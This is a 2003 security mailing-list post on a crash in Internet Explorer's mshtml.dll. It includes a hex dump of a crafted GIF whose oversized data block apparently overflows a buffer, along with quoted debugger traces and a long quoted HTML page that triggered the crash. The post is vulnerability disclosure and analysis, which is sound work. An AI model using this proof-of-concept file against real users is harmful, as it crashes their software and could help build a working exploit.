| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <20030903003731.GB5486@sentinelchicken.org>
From: tim-security at sentinelchicken.org (Tim)
Subject: New Microsoft Internet Explorer mshtml.dll Denial of Service?
This is helpful. In addition, thanks to a file format breakdown by
Caraciola I was able to more reliably crash my IE. By taking the last
data block in the file and extending it by a few hundred bytes, I think
I have found that an overflow exists. I have begun debugging it, but I
don't have a lot of good windows tools available to me, so someone else
should give it a shot (and post to the list).
The file I created, based on the original:
00000000 47 49 46 38 39 61 01 00 01 00 80 00 GIF89a......
0000000C 00 FF FF FF 00 00 00 21 F9 04 01 00 .......!....
00000018 00 00 00 2C 00 00 00 00 01 00 01 00 ...,........
00000024 00 00 01 41 41 41 41 41 41 41 41 41 ...AAAAAAAAA
00000030 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
0000003C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000048 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000054 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000060 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
0000006C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000078 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000084 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000090 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
0000009C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000A8 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000B4 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000C0 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000CC 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000D8 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000E4 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000F0 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000000FC 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000108 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000114 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000120 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
0000012C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000138 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000144 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000150 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
0000015C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000168 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000174 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000180 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
0000018C 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
00000198 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAA
000001A4 41 41 41 41 41 41 41 41 41 41 00 3B AAAAAAAAAA.;
It appears the subroutine that parses the gif image allocates a buffer
of length based on the size indicated in the data block. Then it
proceeds to read the data block, looking for a 0x00 (or some other
end-of-block identifier) to quit. It doesn't limit itself to the block
size when copying data from the file.
I have not been able to determine whether this is a heap or stack
overflow.
However, after some fiddling, I have found this problem also affects
explorer.exe. Copy the file to a folder in windows, and turning
on your image preview pane (web content pane, whatever that rubbish is
on the left side) while viewing that directory. Then click on the file,
and when the preview pane tries to render the image, sometimes it
crashes.
Since a seperate thread of execution does the parsing, race conditions
are probably what is making the crashes inconsistent.
Anyone else have more to offer?
tim
On Tue, Sep 02, 2003 at 05:38:43PM +0200, nonleft@....net wrote:
> crashes on my side as well
>
> win XP no packets in place.
> so I run my debugger: (sorry german)
>
> Der Thread 'Win32 Thread' (0x818) hat mit Code 0 (0x0) geendet.
> Unbehandelte Ausnahme bei 0x00000005 in : 0xC0000005:
> Zugriffsverletzung-Leseposition 0x00000005.
> Eine Ausnahme (erste Chance) bei 0x00000005 in : 0xC0000005:
> Zugriffsverletzung-Leseposition 0x00000005.
> Unbehandelte Ausnahme bei 0x00000005 in : 0xC0000005:
> Zugriffsverletzung-Leseposition 0x00000005.
>
> well it tries to do a read function in the memory, were it has not business
> to do :-)
> and this causes the system failure and the program has to be restarted
>
> 7FFE02FC add byte ptr [eax],al
> 7FFE02FE add byte ptr [eax],al
> 7FFE0300 mov edx,esp
> 7FFE0302 sysenter
> 7FFE0304 ret
> 7FFE0305 pushfd
> 7FFE0306 or dword ptr [esp],100h
> 7FFE030D popfd
> 7FFE030E ret <---- here comes the downfall :-)
> 7FFE030F mov edx,esp
> 7FFE0311 syscall
> 7FFE0313 ret
> 7FFE0314 nop
> 7FFE0315 pushfd
> 7FFE0316 or dword ptr [esp],100h
>
> so it comes from:
>
> 7ffe0304()
> ntdll.dll!77f6f4af()
> ntdll.dll!77f6e265()
> mshtml.dll!74877f58()
> > mshtml.dll!74877576()
> that was it on my machine.....
>
> reproduced it twice.
> but i could not see what this behavior evoked in the html code?!?!
> first i thought could have something to do with the embedded scripts, but
> doesn't seem so....
>
> btw not using Outlook (and i could not see why this should have something to
> do with it)
>
>
> mfg/kind regards
>
> nonleft
> At 13:53 02.09.2003 +0200, you wrote:
>
> Hi,
>
> > No, I am very sure that this happens also, if you follow the link inside
> > a web page only (without an involving mail client).
>
> > So go to http://www.counterpane.com/crypto-gram.html , scroll down and
> > click the link that says "Holger Hasselbach has translated several
> > issues of Crypto-Gram into German [...]". The error occurs as described
> > in my original posting.
>
>
> well i tried
>
> windows 2003 server no updates
>
> first time i clicked it page closed after 5 seconds
>
> second time nothing happened
>
> third time it closed after 5 seconds
>
> well 4th time nothing happened
>
> 5th time closed again
>
> eaach time i spawned a new ie-window with the link and then followed
> the one in the bottom
>
> mfg
>
> Michel Zobel
> Software Entwicklung
> hnw health network GmbH i.G.
>
> --
> COMPUTERBILD 15/03: Premium-e-mail-Dienste im Test
> --------------------------------------------------
> 1. GMX TopMail - Platz 1 und Testsieger!
> 2. GMX ProMail - Platz 2 und Preis-Qualit?tssieger!
> 3. Arcor - 4. web.de - 5. T-Online - 6. freenet.de - 7. daybyday - 8. e-Post
> HTTP/1.1 200 OK
> Date: Tue, 02 Sep 2003 15:21:25 GMT
> Server: Apache
> Last-Modified: Thu, 28 Aug 2003 19:52:06 GMT
> ETag: "2dc9a-9cb7-3f4e5d66"
> Accept-Ranges: bytes
> Content-Length: 40119
> Connection: close
> Content-Type: text/html
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
>
> <html>
>
> <head>
>
> <title>Counterpane: Crypto-Gram</title>
>
> <link rel="STYLESHEET" type="text/css" href="cp.css">
>
> <script></script>
> <script src="scripts/cp-5.js"></script>
>
> <script>
>
> var nameMenus = new Array('menuCompany', 'menuServices', 'menuCustomers', 'menuNews', 'menuLibrary', 'menuSite', 'menuContact');
> var menuImgNames = new Array();
> menuImgNames['menuCompany'] = 'nav_4_company';
> menuImgNames['menuServices'] = 'nav_4_services';
> menuImgNames['menuCustomers'] = 'nav_5_customers';
> menuImgNames['menuNews'] = 'nav_new_news';
> menuImgNames['menuLibrary'] = 'nav_new_library';
> menuImgNames['menuSite'] = 'nav_new_site';
> menuImgNames['menuContact'] = 'nav_5_contact';
>
> function init(){
>
> loaded = true;
> if (ns4) {
> window.captureEvents(Event.RESIZE);
> window.onresize = netscapeResize;
> document.alinkColor="#666666";
> document.vlinkColor="#666666";
> }
> else if (!ie4 && DOM) {
> document.getElementById("menuCompany").style.display = "";
> document.getElementById("menuServices").style.display = "";
> document.getElementById("menuCustomers").style.display = "";
> document.getElementById("menuNews").style.display = "";
> document.getElementById("menuLibrary").style.display = "";
> document.getElementById("menuSite").style.display = "";
> document.getElementById("menuContact").style.display = "";
> }
>
> returnLayer("menuCompany");
> returnLayer("menuServices");
> returnLayer("menuCustomers");
> returnLayer("menuNews");
> returnLayer("menuLibrary");
> returnLayer("menuSite");
> returnLayer("menuContact");
> }
> </script>
> </head>
>
> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onLoad="init()" alink="#666666" vlink="#666666" bgcolor="#FFFFFF" text="#000000">
>
>
> <!-- top navigation ------------------------------------------>
> <table width="100%" cellspacing="0" cellpadding="0" border="0">
>
> <tr>
>
> <!-- logo ------------------------------------------------>
> <td width="146" bgcolor="#FFFFFF"><a href="index.html"><img src="images/cplogo.gif" alt="COUNTERPANE LOGO" border="0" width="132" height="87" hspace="5" vspace="15"></a><br>
> <img src="images/clear.gif" alt="" border="0" width="146" height="10" vspace=0 hspace=0></td>
>
> <td width="100%" valign="top" align="left" height=70>
>
> <!-- menu bar -->
> <table width="100%" cellspacing="0" cellpadding="0" border="0">
> <tr bgcolor="#001851">
> <script language="JavaScript" type="text/javascript">
> <!--
> document.writeln('<td width="76"><a href="#" onMouseover="menuOn(\'menuCompany\')" onMouseout="overChecker(\'menuCompany\')"><img name="nav_4_company" src="images/nav_4_company.gif" width="76" height="26" border="0"></a></td>');
> document.writeln('<td width="78"><a href="#" onMouseover="menuOn(\'menuServices\')" onMouseout="overChecker(\'menuServices\')"><img name="nav_4_services" src="images/nav_4_services.gif" width="78" height="26" border="0"></a></td>');
> document.writeln('<td width="78"><a href="#" onMouseover="menuOn(\'menuCustomers\')" onMouseout="overChecker(\'menuCustomers\')"><img name="nav_5_customers" src="images/nav_5_customers.gif" width="78" height="26" border="0"></a></td>');
> document.writeln('<td width="78"><a href="#" onMouseover="menuOn(\'menuNews\')" onMouseout="overChecker(\'menuNews\')"><img name="nav_new_news" src="images/nav_new_news.gif" width="78" height="26" border="0"></a></td>');
> document.writeln('<td width="78"><a href="#" onMouseover="menuOn(\'menuLibrary\')" onMouseout="overChecker(\'menuLibrary\')"><img name="nav_new_library" src="images/nav_new_library.gif" width="78" height="26" border="0"></a></td>');
> document.writeln('<td width="78"><a href="#" onMouseover="menuOn(\'menuSite\')" onMouseout="overChecker(\'menuSite\')"><img name="nav_new_site" src="images/nav_new_site.gif" width="78" height="26" border="0"></a></td>');
> document.writeln('<td width="78"><a href="#" onMouseover="menuOn(\'menuContact\')" onMouseout="overChecker(\'menuContact\')"><img name="nav_5_contact" src="images/nav_5_contact.gif" width="78" height="26" border="0"></a></td>');
>
> //-->
> </script>
> <noscript>
> <td width="76"><a href="#"><img alt="" src="images/clear.gif" width="76" height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" height="26" border="0"></a></td>
> <td width="78"><a href="#"><img alt="" src="images/clear.gif" width="78" height="26" border="0"></a></td>
> <td width="70"><a href="sitemap.html"><img alt="SITE MAP" src="images/nav_new_sitemap.gif" width="70" height="26" border="0"></a></td>
> </noscript>
> <td width="70"><img src="images/clear.gif" alt="" width="70" height="5" border="0"></td>
> <td width="14"><img src="images/clear.gif" alt="" width="14" height="1"></td>
> <td width="2"><img src="images/clear.gif" alt="" width="2" height="1"></td>
> <td background="images/angle.gif" width="100%" bgcolor="#FFFFFF"><img src="images/clear.gif" alt="" width="1" height="1"></td>
> </tr>
>
> <tr height="4" bgcolor="#CCCCCC">
> <td colspan="8"><img src="images/clear.gif" alt="" width="92" height="4"></td>
> <td width="25"><img src="images/clear.gif" alt="" width="25" height="4"></td>
> <td><img src="images/clear.gif" alt="" width="1" height="4"></td>
> <td width="100%" bgcolor="#FFFFFF" background="images/angle_bottom.gif"><img src="images/clear.gif" alt="" width="1" height="4"></td>
> </tr>
>
> </table>
> </td>
> </tr>
>
> </table>
>
> <!-- end top navigation -->
>
>
>
> <!---- global table ------------------------->
> <table cellpadding="0" cellspacing="0" border="0" width="558">
>
> <tr>
>
> <!-------------- left column ---------------------------------------------------->
>
> <td valign="top" width="146" bgcolor="#CCCCCC">
>
> <!---- highlights ------------------------->
> <img src="images/topleft_whatsnew.gif" alt="What's New" border="0" width="146" height="18"><br>
>
> <table cellpadding="0" cellspacing="0" border="0" width="146">
> <tr>
> <td><img src="images/clear.gif" alt="" border="0" width="6" height="1"></td>
> <td><table cellpadding="0" cellspacing="0" border="0" width="134">
> <tr>
> <td><img src="images/clear.gif" alt="" border="0" width="1" height="10"></td></tr>
>
> <!--ignore_perlfect_search-->
> <!-- begin highlights -->
>
>
> <tr><td class="leftcol"><a href="pr-20030825.html">Counterpane Delivers Industry's Most Comprehensive Managed Security Services</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
> <tr><td class="leftcol"><a href="alerts.html">Security Alerts: Nachi Worm, New SoBig Variant</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
> <tr><td class="leftcol"><a href="pr-20030813.html">Paul Stich Assumes Role of President and CEO</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
> <tr><td class="leftcol"><a href="pr-20030715.html">Counterpane Announces Record Second Quarter Results</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
> <tr><td class="leftcol"><a href="pr-20030625.html">Bruce Schneier Testifies at Hearing of Homeland Security Subcommittee</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
> <tr><td class="leftcol"><a href="pr-sclifetime.html">Secure Computing Magazine Honors Bruce Schneier with Lifetime Achievement Award</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
> <tr><td class="leftcol"><a href="pr-hs.html">Counterpane Strengthens Executive Team with the Additions of Doug Howard and Kevin Senator</a></td></tr>
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
>
>
>
>
>
>
>
>
>
>
>
>
>
> <!-- end highlights -->
> <!--/ignore_perlfect_search-->
>
> <tr><td><img src="images/clear.gif" alt="" border="0" width="1" height="14"></td></tr>
> </table>
> </td>
> </tr>
> </table>
>
>
>
> <!---- search form ------------------------->
> <table cellpadding="0" cellspacing="0" border="0" width="146">
> <tr><td colspan=2><img src="images/dottedline.gif" alt="" border="0" width="146" height="1"></td></tr>
> <tr><td colspan=2><img src="images/search_header.gif" alt="Search" border="0" width=38 height=16 hspace="5"></td></tr>
> <tr><td colspan=2><img src="images/dottedline.gif" alt="" border="0" width="146" height="1"></td></tr>
> <tr><td colspan=2><img src="images/clear.gif" alt="" border="0" width="1" height="10"></td></tr>
> <tr valign=middle><form name="searchForm" action="/search/search.pl"><td align=left class="black-text" valign=top>
> <!-- conditional sizing of search field, based on browser -->
> <script language="JavaScript" type="text/javascript">
> <!--
> if(ns4 && !mac) {document.writeln('<input type="text" class="black-text" size="8" name="q">');}
> else if (ns4 && mac) {document.writeln('<input type="text" size="11" class="black-text" name="q" onFocus="scrollTo(0,0)">');}
> else if (ie4 && mac) {document.writeln('<input type="text" size="15" name="q">');}
> else {document.writeln('<input type="text" size="16" class="black-text" name="q">');}
> //-->
> </script>
> <noscript><input type="text" size="8" class="black-text" name="q"></noscript>
>
>
> </td><td><input WIDTH=24 HEIGHT=15 type="image" name="q" src="images/search_button2.gif" alt="GO" hspace=2 border="0"></td></form></tr></table>
>
>
>
> <!------- end of left column------------------->
> </td>
>
> <!---spacer----><td width="8"><img src="images/clear.gif" alt="" border="0" width="8" height="1"><br></td>
>
> <!-------------- middle column ------------------------------------------------------->
> <td valign="top" width="404">
> <table cellpadding="0" cellspacing="0" border="0" width="404">
> <tr>
> <td><img src="images/header_crypto.gif" alt="Crypto-Gram Newsletter" border="0" width=199 height=14></td>
> </tr>
> <tr><td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" width="404" height="1"></td></tr>
> </table>
> <table cellpadding="0" cellspacing="0" border="0" width="404">
> <tr>
> <td valign="bottom" align="left"> <!---- title ------------------------->
> <table cellpadding="0" cellspacing="0" border="0" width="403">
> <tr>
> <td width="393" align="left" valign="top">
> <p><img src="images/clear.gif" alt="" border="0" width="1" height="10"></p>
>
> <table width="393" border="0" cellspacing="0" cellpadding="4">
>
>
> <TR><TD colspan=2>
> <P class="black-text">Crypto-Gram is a <STRONG>free</STRONG> monthly e-mail newsletter on computer security and cryptography from
> <a href="schneier.html">Bruce Schneier</a>
> (author of <a href="sandl.html">Secrets and Lies</a> and <a href="applied.html">Applied Cryptography</a>, inventor of <a href="blowfish.html">Blowfish</a>
> and <a href="twofish.html">Twofish</a>,
> CTO and founder of <a href="/">Counterpane Internet Security, Inc.</a>,
> general <a href="pitfalls.html">crypto pundit</a>
> and occasional
> <a href="whycrypto.html">crypto curmudgeon</a>).
>
> <P class="black-text"><STRONG class="black-bold-text">Subscriptions</STRONG>
> <BR>To subscribe to the list, send e-mail to <a href="mailto:crypto-gram-subscribe@...parraltree.com">our subscription address</a> from the address you wish to subscribe. You will receive a confirmation message; reply to that message to finalize your subscription.
>
> <P class="black-text"><a href="http://www.counterpane.com/unsubform.html">More details on subscribing and unsubscribing</a>
>
> <P class="black-text">Our <a href="#privacy">privacy statement</a> is below.
>
> <P class="black-text"><STRONG class="black-bold-text">Issues</STRONG>
> </TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0308.html">15 Aug 2003</a></TH>
> <TD class="black-text">Beyond Fear, flying on someone else's plane ticket, hidden text in computer documents</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0307.html">15 Jul 2003</a></TH>
> <TD class="black-text">How to fight, more e-mail filtering idiocy, Password Safe, crying wolf</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0306.html">15 Jun 2003</a></TH>
> <TD class="black-text">Cyber-terrorism, self-destructing DVDs, attacking virtual machines, auditable tasers</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0305.html">15 May 2003</a></TH>
> <TD class="black-text">Encryption and wiretapping, receipts, unique e-mail addresses and spam</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0304.html">15 Apr 2003</a></TH>
> <TD class="black-text">Postal denial-of-service, baseball, NCIC database accuracy</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0303.html">15 Mar 2003</a></TH>
> <TD class="black-text">Practical Cryptography, SSL flaw, SSL patent case, woodland ants</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0302.html">15 Feb 2003</a></TH>
> <TD class="black-text">Locks and full disclosure, SQL Slammer, importance of authentication</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0301.html">15 Jan 2003</a></TH>
> <TD class="black-text">Militaries and cyber-war, cichlid fish, RMAC authentication mode</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0212.html">15 Dec 2002</a></TH>
> <TD class="black-text">Counterattack, Department of Homeland Security, Dan Cooper, crime</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0211.html">15 Nov 2002</a></TH>
> <TD class="black-text">New book, Japanese honeybees, choose your own Doghouse candidate</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0210.html">15 Oct 2002</a></TH>
> <TD class="black-text">National Strategy to Secure Cyberspace, more on AES cryptanalysis, one-time pads</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0209.html">15 Sep 2002</a></TH>
> <TD class="black-text">Word 97 vulnerability, AES news, Reveal, The Odyssey</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0208.html">15 Aug 2002</a></TH>
> <TD class="black-text">Palladium and the TCPA, license to hack, arming airline pilots</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0207.html">15 Jul 2002</a></TH>
> <TD class="black-text">Embedded control systems and security, Perrun virus</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0206.html">15 Jun 2002</a></TH>
> <TD class="black-text">Fixing intelligence failures, more on secrecy and security</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0205.html">15 May 2002</a></TH>
> <TD class="black-text">Secrecy, security, and obscurity; fun with fingerprint readers</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0204.html">15 Apr 2002</a></TH>
> <TD class="black-text">How to think about security, liability and security, key length</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0203.html">15 Mar 2002</a></TH>
> <TD class="black-text">SNMP, IETF "Responsible Disclosure" document, Bernstein's factoring paper</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0202.html">15 Feb 2002</a></TH>
> <TD class="black-text">Judging Microsoft, Oracle's "unbreakable" database</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0201.html">15 Jan 2002</a></TH>
> <TD class="black-text">Windows UPnP vulnerability, Password Safe 2.0, AGS Encryptions</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0112.html">15 Dec 2001</a></TH>
> <TD class="black-text">National ID cards, judges punish bad security, fun with vulnerability scanners</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0111.html">15 Nov 2001</a></TH>
> <TD class="black-text">Full disclosure, GOVNET, Password Safe vulnerability, Windows XP</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0110.html">15 Oct 2001</a></TH>
> <TD class="black-text">Cyberterrorism and cyberhooliganism, war on terrorism, SSSCA, Nimda, port 80</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0109a.html">30 Sep 2001</a></TH>
> <TD class="black-text">Special issue on the Sep. 11 terrorist attacks and their aftermath
> <BR><a href="http://zeusnews.com/index.php3?ar=stampa&cod=838&ar2=stampa&numero=999">Italian translation by Paolo Attivissimo</a></TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0109.html">15 Sep 2001</a></TH>
> <TD class="black-text">11 September 2001, NSA's dual counter mode, Microsoft root certificate program</TD></TR>
> <TR valign=top>
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0108.html">15 Aug 2001</a></TH>
> <TD class="black-text">DMCA, Code Red, copyright protection, cybercrime treaty</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0107.html">15 Jul 2001</a></TH>
> <TD class="black-text">Phone hacking: the next generation, monitoring first</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0106.html">15 Jun 2001</a></TH>
> <TD class="black-text">Honeypots and Honeynet, Invicta Networks, DDOS attacks on grc.com</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0105.html">15 May 2001</a></TH>
> <TD class="black-text">Military history, digital copy prevention, security standards, safe personal computing</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0104.html">15 Apr 2001</a></TH>
> <TD class="black-text">Advantages of defense, CSI computer crime survey, fake Microsoft certificates</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0103.html">15 Mar 2001</a></TH>
> <TD class="black-text">The security patch treadmill, insurance, death of IDS, 802.11 security</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0102.html">15 Feb 2001</a></TH>
> <TD class="black-text">CPRM, an intentional backdoor, e-mail filter idiocy, air gaps, internet voting</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0101.html">15 Jan 2001</a></TH>
> <TD class="black-text">A cyber UL?, SafeMessage, social engineering, code signing in Windows</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0012.html">15 Dec 2000</a></TH>
> <TD class="black-text">Voting and technology, digital safe-deposit boxes, new bank privacy regs</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0011.html">15 Nov 2000</a></TH>
> <TD class="black-text">Digital signatures, SDMI hacking challenge, Microsoft hack</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0010.html">15 Oct 2000</a></TH>
> <TD class="black-text">Semantic attacks, cybercrime treaty, NSA on security, AES announced</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0009.html">15 Sep 2000</a></TH>
> <TD class="black-text">Full disclosure, Carnivore, FBI and the Olympics, Facemail, PGP vulnerability</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0008.html">15 Aug 2000</a></TH>
> <TD class="black-text">Secrets and Lies, "Crime in Cyberspace" convention, Authentica, Bluetooth</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0007.html">15 Jul 2000</a></TH>
> <TD class="black-text">Full disclosure and the CIA, presidential password, lockmaking, Unicode</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0006.html">15 Jun 2000</a></TH>
> <TD class="black-text">SOAP, Java and viruses, DES, Infraworks</TD></TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0005.html">15 May 2000</a></TH>
> <TD class="black-text">Microsoft vs. Slashdot, Cybercrime treaty, Trusted client software, ILOVEYOU</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0004.html">15 Apr 2000</a></TH>
> <TD class="black-text">AES conference, French banking card hack, Microsoft Active Setup, UCITA</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0003.html">15 Mar 2000</a></TH>
> <TD class="black-text">Kerberos and Win2K, software burglary tools, UCITA, software complexity</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0002.html">15 Feb 2000</a></TH>
> <TD class="black-text">Distributed denial-of-service, Chinese crypto regs, publicizing vulnerabilities</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-0001.html">15 Jan 2000</a></TH>
> <TD class="black-text">Publicity attacks, new encryption regs, Netscape, block and stream ciphers</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9912.html">15 Dec 1999</a></TH>
> <TD class="black-text">Security as process, ECHELON, export regulations draft, GSM encryption</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9911.html">15 Nov 1999</a></TH>
> <TD class="black-text">Why computers are insecure, DVD encryption, Win CE, Elliptic Curves</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9910.html">15 Oct 1999</a></TH>
> <TD class="black-text">Becoming a cryptographer, export rules, AMD, PKI slogans, key length</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9909.html">15 Sep 1999</a></TH>
> <TD class="black-text">Open source, NSAKEY, CESA, E*Trade, factoring RSA</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9908.html">15 Aug 1999</a></TH>
> <TD class="black-text">Back Orifice 2000, AES news, HPUX, web-based encrypted mail</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9907.html">15 Jul 1999</a></TH>
> <TD class="black-text">Future of crypto-hacking, bungled SSL, reader comments</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9906.html">15 Jun 1999</a></TH>
> <TD class="black-text">E-mail viruses, hacking archives, international encryption policy</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9905.html">15 May 1999</a></TH>
> <TD class="black-text">Internationalization of cryptography, export rules, TWINKLE</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a href="crypto-gram-9904.html">15 Apr 1999</a></TH>
> <TD class="black-text">The importance of not being different, smart card threats, attacking certificates with viruses</TD>
> </TR>
> <TR class="black-text">
